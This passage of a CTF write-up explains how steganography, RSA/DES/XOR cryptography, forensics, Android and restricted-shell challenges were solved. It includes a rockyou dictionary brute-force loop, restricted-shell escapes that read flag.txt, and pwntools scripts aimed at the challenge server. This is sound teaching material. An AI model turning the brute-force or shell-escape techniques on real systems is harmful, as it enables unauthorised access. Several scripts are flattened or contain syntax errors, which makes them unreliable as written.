https://en.wikipedia.org/wiki/Dual-tone_multi-frequency_signaling* multimon-ng: https://tools.kali.org/wireless-attacks/multimon-ng* Web DTMF decoder: http://dialabc.com/sound/detect/index.html* long_to_bytes: https://pycryptodome.readthedocs.io/en/latest/src/util/util.html#Crypto.Util.number.long_to_bytes ## SnowflakeFrosty the Snowman is just made up of a lot of snowflakes. Which is the right one? Note, this flag is not in the usual format. Download the file below.\[frostythesnowman.txt](assets//files//frostythesnowman.txt) **JCTF{gemmy_spinning_snowflake}** **Solution:** We are given a text file with the challenge, if we look at the file we can't see anything weird:```Frosty the snowman was a jolly happy soulWith a corncob pipe and a button noseAnd two eyes made out of coalFrosty the snowman is a fairy tale, they sayHe was made of snow but the children knowHow he came to life one dayThere must have been some magic inThat old silk hat they foundFor when they placed it on his headHe began to dance aroundOh, Frosty the snowman ``` but if we open the file in Notepad++ and turn on the option the show special symbols we can now see that something is off with the file: ![](assets//images//snowman_1.png) these are tabs and spaces, and this type of steganography is actually SNOW (Steganographic Nature Of Whitespace), it is a type of whitespace steganography which uses Huffman encoding to compress a message and hide it in the whitespaces, we can use stegsnow tools to reveal the message but it seems that it doesn't work: ![](assets//images//snowman_2.png) After a bit of trial and error I discovered that it is password protected, so I wrote a simple bash script which reads the passwords from rockyou.txt line by line and try to decrypt the data, this is a dictionary attack, and a simple one at that (I explained more about this type of attacks in the writeup for Easy Keesy): ```bashfile=rockyou.txtwhile read -r linedo printf "\n$line " stegsnow -C -Q -p "$line" frostythesnowman.txtdone < $file``` by using this simple bruteforce script we get that the password is ilovejohn (don't we all) and we get the flag (I redirected the script output to a file and then grepped for braces pattern): ![](assets//images//snowman_3.png) **Resources:*** SNOW: http://www.darkside.com.au/snow/* stegsnow man page: http://manpages.ubuntu.com/manpages/bionic/man1/stegsnow.1.html ## My ApologiesNothing witty to say here... just that I am sorry. Note, this flag is not in the usual format. Download the file below.\[apologies.txt](assets//files//apologies.txt) **flag_i_am_so_sorry_steg_sucks** **Solution:** We again get a txt file with the challenge, now we can easily notice that something off with the message: ```Turns out the steganographⅰc technique we were
using dⅰdn't really make
much sense... but we kept it anyway. Oh well!```This is actually an Homoglyphs Steganography, a type of steganography which uses unicode encoding to hide a message, we can use the link in the resources to reveal the flag: ![](assets//images//apologies.png) **Resources:** * Twitter Secret Messages: http://holloway.co.nz/steg/ ## Dead SwapThere is a flag in my swap! Download the file below.\[deadswap](assets//files//deadswap) **Post CTF Writeup** **flag{what_are_you_doing_in_my_swap}** **Solution:** With the challenge we are given a file from an unknown type, with can infer from the challenge title and description that this is a swap file, without getting into details, swap files are files saved in the hard drives to be used as an extension to the memory, when a computer needs to save some data on the memory for quick access and doesnt have a place for it the computer moves a chunk of the data stored on the memory to the hard drive (usually the least used chunk) and overwrites this chunk in the memory with the data, this is actually really not important for this challenge, by using xxd on the file it seems that we only have \xff bytes: ![](assets//images//deadswap_1.png) but by grepping for everything but \xff bytes we can see thet there are \xfe bytes too: ![](assets//images//deadswap_2.png) during the CTF I tried using binary by mapping 1 and 0 to f and e but the solution is actually to map 1 and 0 to fe and ff, this will give us a binary string, encoding the string to ascii we get the flag in reverse, so I wrote a one-liner to do all that (and it's amazing): `xxd deadswap | grep -v "ffff ffff ffff ffff ffff ffff ffff ffff" | cut -d " " -f 2-10 | sed "s/ff/0/g" | sed "s/fe/1/g" | tr -d " \n" | python3 -c "import binascii; print(binascii.unhexlify('%x' % int(input(),2)));" | rev` the one-liner prints the hexdump of the file, greps for lines which contains interesting data, cut only the columns with the hex data, replaces ff and fe with 0 and 1 (using sed), removes new-lines, convert the data from binary to ascii using python and reverses the string, and in action: ![](assets//images//deadswap_3.png) **Resources:*** Swap file: https://www.computerhope.com/jargon/s/swapfile.htm ## WalkmanDo you hear the flag? Maybe if you walk through it one step at a time. Download the file below.\[wazaa.wav](assets//files//wazaa.wav) **Post CTF Writeup** **flag{do_that_bit_again}** **Solution:** We are given a WAV audio file with the challenge, I personally hate steganography that is related to audio, if it is not spectogram and wavsteg can't find something I just quit...but I'm a completionist, so I'll cover that as well, we need to use a tool called wav-steg-py which is listed in the resources using this command to extract the flag: `python3 wav-steg.py -r -s wazaaa.wav -o a -n 1 -b 1000` in action: ![](assets//images//walkman.png) this tool uses the least significant bit to hide data and extract hidden data (which wavsteg also do so i'm not sure why it didn't work with it), it's quite common to hide data in the LSB of the file so this type of tools are really handy. **Resources:*** wav-steg-py: https://github.com/pavanchhatpar/wav-steg-py ## Old SchoolDid Dade Murphy do this? Note, this flag is not in the usual format Download the file below.\[hackers.bmp](assets//images//hackers.bmp) **Post CTF Writeup** **JCTF{at_least_the_movie_is_older_than_this_software}** **Solution:** With the challenge we are given a bitmap (bmp) file: ![](assets//images//hackers.bmp) bmp format is a quite old file format and rarely used today as its compression algorithm is really not good and rarely supported so it's not very efficient in space to save images as bmp files, especially if you consider the image quality nowadays, the flag is again hidden in the least significant bits of the image and again I tried checking that during the CTF and got nothing, a smarter approach is to use zsteg, which checks all the available channels and even checks the most significant bit for hidden data, we can get the flag using the following command: `zsteg -a hackers.bmp` and in action: ![](assets//images//oldschool.png) ***# Cryptography ## DocxorMy friend gave me a copy of his homework the other day... I think he encrypted it or something?? My computer won't open it, but he said the password is only four characters long... Download the file below.\[homework](assets//files//homework) **flag{xor_is_not_for_security}** **Solution:** We get an unknown file with the challenge, obviously from the challenge description and challenge name we know that the file is xored and that the key is of length 4, if we look at the hex dump of the file we can notice this reoccurring pattern of bytes `\x5a\x41\x99\xbb` : ![](assets//images/docxor_1.png) furthermore if we analyze the frequency of the bytes in the file we get the following graph where the peaks are in \x5a, \x41, \x99 and \xbb: ![](assets//images/docxor_2.png) but if we look at a regular PNG file or Zip file we get the following bytes frequency: ![](assets//images/docxor_4.png) we can notice that regularly the \x00 byte is the most frequent, so if the key is xorred with the data all of the \x00 bytes will be mapped to the bytes of the key. so we can infer that key is `\x5a\x41\x99\xbb`, plugging the file into cyberchef in xorring the data with the key gives us the following zip file: [xorred_homework](assets//files//xorred_homework) this is actually not a zip file but a docx file by the folders in it (there are a lot of file types which are actually zip) if we open the file using Microsoft word or Libreoffice we get the flag: ![](assets//images/docxor_3.png) **Resources:*** Xor: https://en.wikipedia.org/wiki/Exclusive_or* Frequency analysis: https://en.wikipedia.org/wiki/Frequency_analysis* An example to some of the file types which are actually zip: https://www.quora.com/Which-file-types-are-really-ZIP-or-other-compressed-packages ## HomecookedI cannot get this to decrypt! Download the file below.\[decrypt.py](assets//files//decrypt.py) **flag{pR1m3s_4re_co0ler_Wh3n_pal1nDr0miC}** **Solution:** Now we get with the challenge a python script: ```python 3import base64num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA=" def a(num): if (num > 1): for i in range(2,num): if (num % i) == 0: return False break return True else: return False def b(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False cipher = base64.b64decode(cipher_b64).decode().split(",") while(count < len(cipher)): if (a(num)): if (b(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1 print()``` this script is used for decrypting the cipher but it doesn't seem to work well: ![](assets//files//homecooked.gif) it somewhat stops printing at this point but still runs, we can guess by that the code is inefficient, we can try to understand what the script does to figure out how to make it more efficient, we can see that the script decode the ciphertext from base64 to bytes, then for each byte in the ciphertext it tries to find a value of next value for num such that both functions a and b returns a boolean value of True, then xors that value with the value of the byte and prints the result, it continues likes that for the succeeding bytes while continuously increasing the value of num by one, but, by the 13th byte the value of num is jumped to 50000 and by the 26th byte the value of num is jumped to 500000. Now let's look at the functions, a checks if there are no numbers bigger than 2 and smaller than the input that can divide it without a remainder, so a checks if the input is prime.The function b checks if the input is equal to itself in reverse so b checks if the input is a palindrome.a return True if the number is prime and b checks if the number is a palindrome, so the values that are xorred with the bytes of the cipher are palindromic primes if we take a second look at the function a we can see that it is very inefficient as it checks for all the numbers that are smaller than the input if they can divide it without a remainder, we can replace it with the primality test in the sympy module, which uses an efficient method (Rabin-Miller Strong Pseudoprime Test), in the end we get the less obfuscated following script: ```python 3import base64import sympy num = 0count = 0cipher_b64 = b"MTAwLDExMSwxMDAsOTYsMTEyLDIxLDIwOSwxNjYsMjE2LDE0MCwzMzAsMzE4LDMyMSw3MDIyMSw3MDQxNCw3MDU0NCw3MTQxNCw3MTgxMCw3MjIxMSw3MjgyNyw3MzAwMCw3MzMxOSw3MzcyMiw3NDA4OCw3NDY0Myw3NTU0MiwxMDAyOTAzLDEwMDgwOTQsMTAyMjA4OSwxMDI4MTA0LDEwMzUzMzcsMTA0MzQ0OCwxMDU1NTg3LDEwNjI1NDEsMTA2NTcxNSwxMDc0NzQ5LDEwODI4NDQsMTA4NTY5NiwxMDkyOTY2LDEwOTQwMDA=" def prime(num): return sympy.isprime(num) def palindrome(num): my_str = str(num) rev_str = reversed(my_str) if list(my_str) == list(rev_str): return True else: return False cipher = base64.b64decode(cipher_b64).decode().split(",") while(count < len(cipher)): if (prime(num)): if (palindrome(num)): print(chr(int(cipher[count]) ^ num), end='', flush=True) count += 1 if (count == 13): num = 50000 if (count == 26): num = 500000 else: pass num+=1 print()```and by running this more efficient script we get the flag in a reasonable time: ![](assets//files//homecooked_2.gif) ## TwinningThese numbers wore the same shirt! LOL, #TWINNING! Connect with:\`nc jh2i.com 50013` **flag{thats_the_twinning_pin_to_win}** **Solution:** When we connect to server given we the challenge we are greeted with the following: ![](assets//images//twinning_1.png) we can guess that this is an RSA encryption, I explained more about how RSA works in my writeup for RACTF 2020: > ... RSA is a public key cipher, which means that there are two keys, one that is public which is used to encrypt data, and one that is private which is used to decrypt data, obviously there is some sort of connection between the keys but it is hard to reveal the private key from the public keys (and in this case vice versa), specifically in RSA in order to find the private key we need to solve the integer factorization problem, which is thought to be in NP/P (this is not important for the challenge), we will call our public key e and our private key d, they posses the following attribute - d multiply by e modulo the value of (p-1) * (q-1) which we will name from now phi, is equal to 1, we will call d the modular multiplicative inverse of e and e the modular multiplicative inverse of d, furthermore if we take a plaintext message pt and raise it to the power of d and then to the power of e modulo the value of p * q, which we will name n and will be commonly given to us instead of q and p, we will get pt again (to understand why it is needed to delve into modern algebra, if n is smaller than pt then obviously we will not get pt), now with that in mind we can talk about the cipher, encryption in this cipher is raising the plaintext pt to the power of the public key e mod the value of n, similarly, decryption is raising the ciphertext to the power of d mod n... and I explained why it works and how we can break the cipher: >...for that we need to talk about factors, factors are numbers which can be divided only by 1 and himself (we are only talking about whole numbers), we have discovered that there are infinitely many factors and that we can represent any number as the multiplication of factors, but, we haven't discovered an efficient way to find out which factors make up a number, and some will even argue that there isn't an efficient way to do that (P vs. NP and all that), which means that if we take a big number, it will take days, months and even years to find out the factors which makes it, but, we have discovered efficient ways to find factors, so if I find 2 factors, which are favorably big, I multiply them and post the result on my feed to the public, it will take a lot of time for people to discover the factors that make up my number. But, and a big but, if they have a database of numbers and the factors that make them up they can easily find the factors for each numbers I will post, and as I explained before, if we can the factors we can easily calculate phi and consequently calculate d, the private key of RSA, and break the cipher, right now there are databases (listed below) with have the factors to all the numbers up to 60 digits (if I remember correctly), which is a lot but not enough to break modern RSA encryptions, but if we look at the challenge's parameters, we can see that n is awfully small, small enough that it most be in some databases... if we search for the value of n in factorDB, a database for the factors of numbers, we can find factors for the value of n given to us: ![](assets//images//twinning_2.png) now we can write a small script which calculates phi, finds d the modular inverse for e modulo phi and raise the ciphertext to the power of d (or be a script kiddie and use the RSA module): ```python 3from Crypto.Util.number import inverse p = 1222229q = 1222231e = 65537ct = 348041806368n = 1493846172899 phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(plain) ```and by running this script we get that the PIN is 3274 and by giving the PIN to the server we get the flag: ![](assets//images//twinning_3.png) I guess that the challenge name and description is joking about the proximity of the primes... ## Ooo-la-laUwu, wow! Those numbers are fine! Download the file below.\[prompt.txt](assets//files//ooolala.txt) **flag{ooo_la_la_those_are_sexy_primes}** **Solution:** With the challenge we are given a text file, the text file contains the following: ```N = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091e = 65537c = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983``` So this is another RSA challenge, we can again try to find the factors that make up the value of N, we can use factorDB again: ![](assets//images//ooolala_1.png) and we have the factors, now let's recycle the script from the last challenge now with the new parameters,also now we need to convert the plaintext to ascii encoded characters, we can use the function long_to_bytes from pycryptodome for that: ```python 3from Crypto.Util.number import inverse, long_to_bytes p = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428207q = 1830213987675567884451892843232991595746198390911664175679946063194531096037459873211879206428213e = 65537ct = 87760575554266991015431110922576261532159376718765701749513766666239189012106797683148334771446801021047078003121816710825033894805743112580942399985961509685534309879621205633997976721084983n = 3349683240683303752040100187123245076775802838668125325785318315004398778586538866210198083573169673444543518654385038484177110828274648967185831623610409867689938609495858551308025785883804091 phi = (p - 1) * (q - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```and by running the script we get the flag: ![](assets//images//ooolala_2.png) ## Unvreakable VaseAh shoot, I dropped this data and now it's all squished and flat. Can you make any sense of this? Download the file below.\[prompt.txt](assets//files//vase.txt) **Post CTF Writeup** **flag{does_this_even_count_as_cryptooo}** **Solution:** We this challenge we are given a text file with the following content: ```zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=``` this seems to be base64 encoding, but if you try to decode it from base64 to ascii you don't get much:```ÎlaÏ{dokóÇzèk.ßÏ.ån_co{îuÿas_crypv.oo}``` I didn't actually managed to solve this challenge by myself during the CTF thinking it is a combination between rail cipher and base64 but actually that is just a base64 encoding where all the upper cased letters were lowered, we can try going over all combination of lower case and upper case for all the characters in the string but it will take two to the power of the length of the string, which is 2 to the power of 52 at most and at least 2 to the power of 40 if we exclude numbers and symbol, which is still a lot.\But, we can do something else, base64 is using characters to represents the numbers from 0 to 63, if we'll encode one letter from base64 to binary we get a binary string of length 6 bits, but each ascii character take 8 bits to encode, so if we want to find the smallest ascii substring that decodes to a base64 string without padding we'll need to find a lowest common multiple (LCM) value, for those numbers the LCM is 24, and s0 every 24/8 = 3 ascii characters are encoded to 24/6 = 4 base64 characters without padding and if we will split our ciphertext to blocks of 4 characters and try every possible combination of upper case and lower case on every character in each block until we get a readable substring (preferably of the flag which very likely though not guaranteed) we'll need to try at most 2 to the power of 4 multiplied by the number of blocks for every block, in out case `(2 ** 4) * (52 / 4) = (2 ** 4) * 12` which is a lot less then what we had before, for that I wrote the following script which goes through every block in the ciphertext and tries all the possible combinations until the ascii strings decoded from the block are printable (in the range from space \x20 to tilde \x7e): ```python 3import base64from string import printable cipher = list('zmxhz3tkb2vzx3roaxnfzxzlbl9jb3vudf9hc19jcnlwdg9vb30=') for i in range(0,len(cipher),4): for j in range(2 ** 4): curr_byte = cipher[i:i+4].copy() string_index = int(i/4*3) for k in range(len(curr_byte)): if j % (2 ** (k + 1)) >= 2 ** k: curr_byte[k] = curr_byte[k].upper() new_cipher = cipher[:i] + curr_byte + cipher[i+4:] max_char = chr(max(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) min_char = chr(min(base64.b64decode(''.join(new_cipher))[string_index: string_index+3])) if min_char in printable and max_char in printable: cipher[i:i+4] = curr_byte break print(base64.b64decode(''.join(cipher)))``` and by running this script we get the flag: ![](assets//images//unvreakable_vase.png) **Resources:*** I used this writeup just to discover the cipher although it seems that he solved just it like me with a way better script: https://deut-erium.github.io/WriteUps/nahamconCTF/crypto/Unvreakable%20Vase/* Least common multiple: https://en.wikipedia.org/wiki/Least_common_multiple ## DecemberThis is my December... Download the file below.\[source.py](assets//files//source.py) [ciphertext](assets//files//ciphertext) **flag{this_is_all_i_need}** **Solution:** With the challenge we get the following python 3 script: ```python 3#!/usr/bin/env python from Crypto.Cipher import DES with open('flag.txt', 'rb') as handle: flag = handle.read() padding_size = len(flag) + (8 - ( len(flag) % 8 ))flag = flag.ljust(padding_size, b'\x00') with open('key', 'rb') as handle: key = handle.read().strip() iv = "13371337"des = DES.new(key, DES.MODE_OFB, iv)ct = des.encrypt(flag) with open('ciphertext','wb') as handle: handle.write(ct)``` and the ciphertext: ```Ö¢oåÇ\"àT?^N?@]XõêiùÔ?1÷U?WETR^DˆžbÿÑ\*á?^V?AAVCç¤nÿÌ?Iô]RTLE[ZDÝ£yÉÃ?/ÍXl]RTWN7``` We can see from the script that it uses DES, DES (Data Encryption Standard) is a type of symmetric cipher that was used in the 80s and the 90s as the standard cipher replaced by AES in the following years, it was invented by IBM with the help of the NSA (yeah that NSA) and in the 90s people have discovered ways to crack the cipher in a matter of hours (22 hours and 15 minutes to be precise).\This cipher also has a lot of weaknesses, one of those are the existence of weak keys, decryption and encryption with this keys have the same effect and so encrypting some data twice with the same weak key is equivalent to decrypting the encryption and the ciphertext is equal to the original plaintext. we can also notice that the cipher uses OFB mode of operation, in this mode the plaintext is split to blocks of 8 bytes and for each block of plaintext the mode encrypts the encryption of the previous block (in the case of the first block this mode encrypts IV) and xors the new encryption with the plaintext, in a visual representation: and in a formal representation: we can now notice the following attribute of using weak keys in this mode of operation: in other words, for every block in an even position we get that the encryption with a weak key is equal to xorring IV with the plaintext, so the plaintext for block in an even position is equal to the ciphertext xorred with IV, let's try that on our ciphertext, we can do that using the following code: ```python 3from Crypto.Util.strxor import strxor data = open("ciphertext",'rb').read()IV = "13371337" print(strxor(data,(IV * len(data))[0:len(data)].encode("utf-8")))```and we get: ![](assets//images//december_4.png) it worked!, now we know that our key is a weak key, we can find a list of weak keys to DES on google and bruteforce them until we get a complete text (there are less than 100 weak and semi-weak keys), I listed all the weak keys in the following file: [weak DES keys](assets//files//keys) and wrote this script to crack the ciphertext: ```python 3#!/usr/bin/env python from Crypto.Cipher import DES with open('ciphertext','rb') as handle: ct = handle.read() with open('keys', 'r') as handle: keys = handle.read().replace("\n"," ").split() keys = [ bytes(bytearray.fromhex(key.strip())) for key in keys] iv = "13371337"for key in keys: des = DES.new(key, DES.MODE_OFB, iv.encode('utf-8')) pt = des.decrypt(ct) if b'flag' in pt: print(pt) print(key)``` and we get the flag: ![](assets//images//december_5.png) ## RaspberryRaspberries are so tasty. I have to have more than just one! Download the file below.\[prompt.txt](assets//files//raspberry.txt) **flag{there_are_a_few_extra_berries_in_this_one}** **Solution:**: With the challenge we are get a text file, the content of the text file is: ```n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317e = 65537c = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681```This is again an RSA cipher, if we try plugging the value of n to a factor database we get the following output: ![](assets//images//respberry.png) this is a big amount of factors, this amount is actually okay as RSA is not limited to only 2 factors (but it is really bad practice to use a lot of factors), phi is actually the value of Euler's totient function for n, this value is the number of values smaller than n which don't have common factors with n, and this value is actually equal to multiplication of all the factors reduced by one each (the proof for that is actually very easy and logical), so for decrypting the message I used the following script which is the same as the previous script with a more general phi calculation: ```python 3from Crypto.Util.number import inverse, long_to_bytes primes = ['2208664111', '2214452749', '2259012491', '2265830453', '2372942981', '2393757139', '2465499073', '2508863309', '2543358889', '2589229021', '2642723827', '2758626487', '2850808189', '2947867051', '2982067987', '3130932919', '3290718047', '3510442297', '3600488797', '3644712913', '3650456981', '3726115171', '3750978137', '3789130951', '3810149963', '3979951739', '4033877203', '4128271747', '4162800959', '4205130337', '4221911101', '4268160257'] e = 65537ct = 5300731709583714451062905238531972160518525080858095184581839366680022995297863013911612079520115435945472004626222058696229239285358638047675780769773922795279074074633888720787195549544835291528116093909456225670152733191556650639553906195856979794273349598903501654956482056938935258794217285615471681n = 7735208939848985079680614633581782274371148157293352904905313315409418467322726702848189532721490121708517697848255948254656192793679424796954743649810878292688507385952920229483776389922650388739975072587660866986603080986980359219525111589659191172937047869008331982383695605801970189336227832715706317 phi = 1for p in primes: phi *= (int(p) - 1)d = inverse(e,phi)plain = pow(ct,d,n)print(long_to_bytes(plain))```By running this script we get the flag: ![](assets//images//respberry_1.png) **Resources:*** Euler's totient function: https://en.wikipedia.org/wiki/Euler%27s_totient_function *** # Forensics ## MicrosooftWe have to use Microsoft Word at the office!? Oof... Download the file below.\[microsooft.docx](assets//files//microsooft.docx) **flag{oof_is_right_why_gfxdata_though}** **Solution:** With the challenge we get a docx file, but if we try opening it with Microsoft Word or Libreoffice we get noting interesting: ![](assets//images//microsooft.png) so we need to inspect the file more, docx files are actually a bunch of xml files contained in a zip file, so if we open the file as a zip file we can look at the content without relying on a document editor: ![](assets//images//microsooft_1.png) after a brief inspection I found that there is a filed called foo.txt in the src directory in the zip file: ![](assets//images//microsooft_2.png) and the file contains our flag: ![](assets//images//microsooft_3.png) ## Cow PieEw. Some cow left this for us. It's gross... but something doesn't seem right... Download the file below.\[manure](assets//files//manure) **flag{this_flag_says_mooo_what_say_you}** **Solution:** run strings on manure and grep for the flag *** # Mobile ## CandroidI think I can, I think I can! Download the file below.\[candroid.apk](assets//files//candroid.apk) **flag{4ndr0id_1s_3asy}** **Solution:** With the challenge we get an apk file, as the previous challenge an apk file is actually a zip file, we can unzip the file and grep for the flag format to get the flag: ![](assets//images//candroid.png) ## Simple AppHere's a simple Android app. Can you get the flag? Download the file below.\[candroid.apk](assets//files//simple-app.apk) **flag{3asY_4ndr0id_r3vers1ng}** **Solution:** same as previous challenge: ![](assets//images//simple_app.png) ## Ends MeetAre you a true mobile hacker? Download the file below. **flag{rev3rsIng_ApKs_l1k3_A_Pr0}** **Solution:** open the apk file in jadx-gui and get a base64 encoded url in the `MainActivity` and visit the page with useragent `volley/0` ***# Miscellaneous ## VortexWill you find the flag, or get lost in the vortex? Connect here:\`nc jh2i.com 50017` **flag{more_text_in_the_vortex}** **Solution:** With the challenge we are given a server to connect to, if we try connecting we get... ![](assets//images//vortex.png) ...that...we can redirect the output of the server to a file and view the file, by doing so for a minute more or less and grepping for the flag format we get the flag: ![](assets//images//vortex_1.png) ## Fake fileWait... where is the flag? Connect here:\`nc jh2i.com 50026` **flag{we_should_have_been_worried_about_u2k_not_y2k}** **Solution:** We are given a server to connect to with the challenge, when we connect to the server we seemingly have a shell: ![](assets//images//fake_file.png) seems that there are two files with the name '..' but using regular command like cat on the file won't work I eventually tried to use `grep -r .` to recursively grep the file in the directory, and we get the flag (or we could just get all the flags like this guy https://tildeho.me/leaking-all-flags-in-a-ctf/): ![](assets//images//fake_file_2.png) ## AlkatrazWe are so restricted here in Alkatraz. Can you help us break out? Connect here:\`nc jh2i.com 50024` **flag{congrats_you_just_escaped_alkatraz}** **Solution:** We are given again a server to connect to, it seems that we have a shell again and that the flag is in our working directory, but we can't use cat or grep to read it: ![](assets//images//alkatraz.png) I eventually got to output the file content to stdout using printf as it is not restricted and using the following command `printf '%s' "$(<flag.txt)"` we get the flag: ![](assets//images//alkatraz_2.png) ## TrappedHelp! I'm trapped! Connect here:\nc jh2i.com 50019 **flag{you_activated_my_trap_card}** **Solution:** Trap command is catching every command except trap, set the trap to something else with `trap '<command>' debug`.like `trap 'cat flag.txt' debug` to get flag## AwkwardNo output..? Awk-o-taco. Connect here:`nc jh2i.com 50025` **flag{okay_well_this_is_even_more_awkward}** **Solution:** use grep to find cat all files and grep only to flag format ```python 3import refrom pwn import *from string import printablehost, port = 'jh2i.com', 50025 s = remote(host,port) name = "flag{"while True: for c in "_" + printable: command = """grep -ro "{}.*"\n """.format(name + c) s.send(command) response = s.recv() return_code = re.findall("[0-9]+",str(response))[0] if int(return_code) == 0: if c != '*' name += c print(name) break else: printf(name + "}") breaks.close()``` ***# Scripting ## DinaHelp! I can't make any sense out of what Dina is saying, can you?? Connect with:`nc jh2i.com 50035` **Post CTF Writeup**\**flag{dina_speaks_in_dna_and_you_do_too}** **Disclaimer:** I'll start of with a quick disclaimer, even though I ended solving it using frequency analysis and some common sense, I don't think what I did was the intention of the author, and I used the mapping john showed three or four times to validate a character and escape rabbit holes, though I think it can be done without using it at all if you have time, and after validating the first few characters I could easily complete the rest myself.\oh and another thing, the script I wrote is really ugly but it works well, you can use an empty mapping and remove the question types and it will still work, and I strongly recommend trying this yourself. **Solution:** With the challenge we are given an host and a port to connect to, when we connect the server sends a string which comprises only of A,C,G,T and waits for input, if we give some random input it will respond with another string like the previous: ![](assets//images//dina_1.png) It seems to be a DNA sequence and if you have basic knowledge in biology you'll know that DNA sequences are interpreted by the ribosomes to proteins, and every sequence of 3 nucleic acids in the DNA or equivalently every 3 letters in the DNA which is called a codon is interpreted to one amino acid in the protein, so we can trying using this type of encoding to get a strings consisting of the letters of each matching amino acid, but it will not work.\we can next try using binary notations for each nucleic acid and decode the binary to ascii characters but this will also not work, after a google search about DNA encoding to English I stumbled upon this writeup https://github.com/ChapeauR0uge/write-ups/tree/master/b00t2root/crypto/genetics where the author uses a mapping from codons to English in order to decode the string, but the mapping didn't seem to help, at this point in the CTF I stopped and moved on to other challenges.\After the CTF and during the debrief that john did I discovered that the last thing I tried was kinda right but the mapping was incorrect, so I tried to find the right mapping on the internet, but I couldn't find it, and so I resorted to the last thing I could think of, to use frequency analysis. In every alphabet there are characters who appear more than others, for example the letter a appears more than z and e appears more than a, also if we look at all the printable symbols we will also see that the space symbol appears more than e or any other characters, we can also look at the frequency of one word or two words and so on and see the same trend.\We can use that to our advantage, so I started out by finding a list of frequencies for all the printable symbols (https://www.wired.com/2013/08/the-rarity-of-the-ampersand/) and then wrote a small script which connect to the server a number of times (I used 50) and count the occurrences of every codon in the string and in the end lists them in descending order of occurrences (you can see parts of it in the final script), also, in every session the script would try to guess the plaintext using the already mapped codons or the total number of occurrences of the each codons against the list of frequencies of symbols if it was not mapped, I used it to map codons to the space symbol and e, then map to a and t by looking at the ciphertexts and recognizing words (we can easily guess the mapping for a from a one-letter word and the mapping for t and h from a very frequent three letter-word), admittedly I used john script in the debrief to figure out that the first word in every ciphertext, which is a two-letter word without i, n or t, is a number and and colon (I though initially that it was yo or mr), by using letter frequency and word frequency and most importantly common sense I mapped around ten to fifteen codons to characters, but than I hit a roadblock, even though most of the encoded sentence is a readable string like "enter the string" the string in question is a combination of random letters, for example (actually taken from a run): `send back yirkbmusswnqmhq as a string` and for that no frequency analysis would have helped, so I turned to what I do best, bruteforcing everything I can. At this point when I had around ten to fifteen characters mapped so sometimes when the sun and the moon align the random string would be comprised by only mapped letters, and more commonly but still rare enough I'll get that the string comprises only of mapped codons except one, and we can use the response of the server for this kind of strings to eliminate mappings or discover the actual mapping, and so I upped the number of retries of the script would do to 200, and added that in every session the script would try to recognize the question sent by the server and send back the matching string *upper-cased* (yeah that throw me off for a while), I then manually went through the output and tried to eliminate wrong mapping or to see if the script discovered any correct one (actually when I think of it I could have written a script which automatically does that): ```python 3import refrom pwn import remotefrom random import choice # The predicted mapping of the codonsmapping = {"AAA":'y', "AAC":'q', "AAG":'k', "AAT":'', "ACA":'q', "ACC":'1', "ACG":'s', "ACT":'0', "AGA":'~', "AGC":'', "AGG":'=', "AGT":'j', "ATA":' ', "ATC":'', "ATG":'i', "ATT":'', "CAA":'', "CAC":'', "CAG":'', "CAT":'', "CCA":'b', "CCC":'', "CCG":'w', "CCT":'v', "CGA":'a', "CGC":'h', "CGG":'', "CGT":'', "CTA":'x', "CTC":'', "CTG":'u', "CTT":'z', "GAA":'', "GAC":'', "GAG":'4', "GAT":'.', "GCA":'3', "GCC":'', "GCG":'/', "GCT":':', "GGA":'o', "GGC":'e', "GGG":'', "GGT":'f', "GTA":'', "GTC":'', "GTG":'p', "GTT":'c', "TAA":'', "TAC":'', "TAG":'2', "TAT":'', "TCA":'r', "TCC":'m', "TCG":',', "TCT":'n', "TGA":'', "TGC":'l', "TGG":'', "TGT":'', "TTA":'<', "TTC":'t', "TTG":'d', "TTT":'g'} # The type of questions dina asks and the position of the string in themquestion_types = {'send the string': 4, 'send the message': 5, 'send this back': 4, 'go ahead and send': 5, 'back to me': 2, 'enter this back': 7, 'please respond with': 4, 'respond with': 3, 'enter the string': 4, 'please send back': 4, 'send back': 3, } def beautify_data(msg): return str(msg)[2:-3].replace("\\n","") # frequency analysis stufffrequency = { a: 0 for a in mapping }letter_frequency = list(' etaoinsrhldcumfgpywb,.vk-\"_\'x)(;0j1q=2:z/*!?$35>\{\}49[]867\\+|&<%@#^`~.,')for i in range(len(letter_frequency)): if letter_frequency[i] in mapping.values(): letter_frequency[i] = choice(letter_frequency)letter_frequency = ''.join(letter_frequency) host, port = 'jh2i.com', 50035for _ in range(200): s = remote(host,port) index = 0 while 1: # Recieves until a message is sent ciphertext = '' try: while ciphertext == '': ciphertext = beautify_data(s.recv()) except EOFError: s.close() break # Checks if the flag is given if 'flag' in ciphertext: print(ciphertext) exit(0) # Find the frequency of each codon for frequency analysis for i in 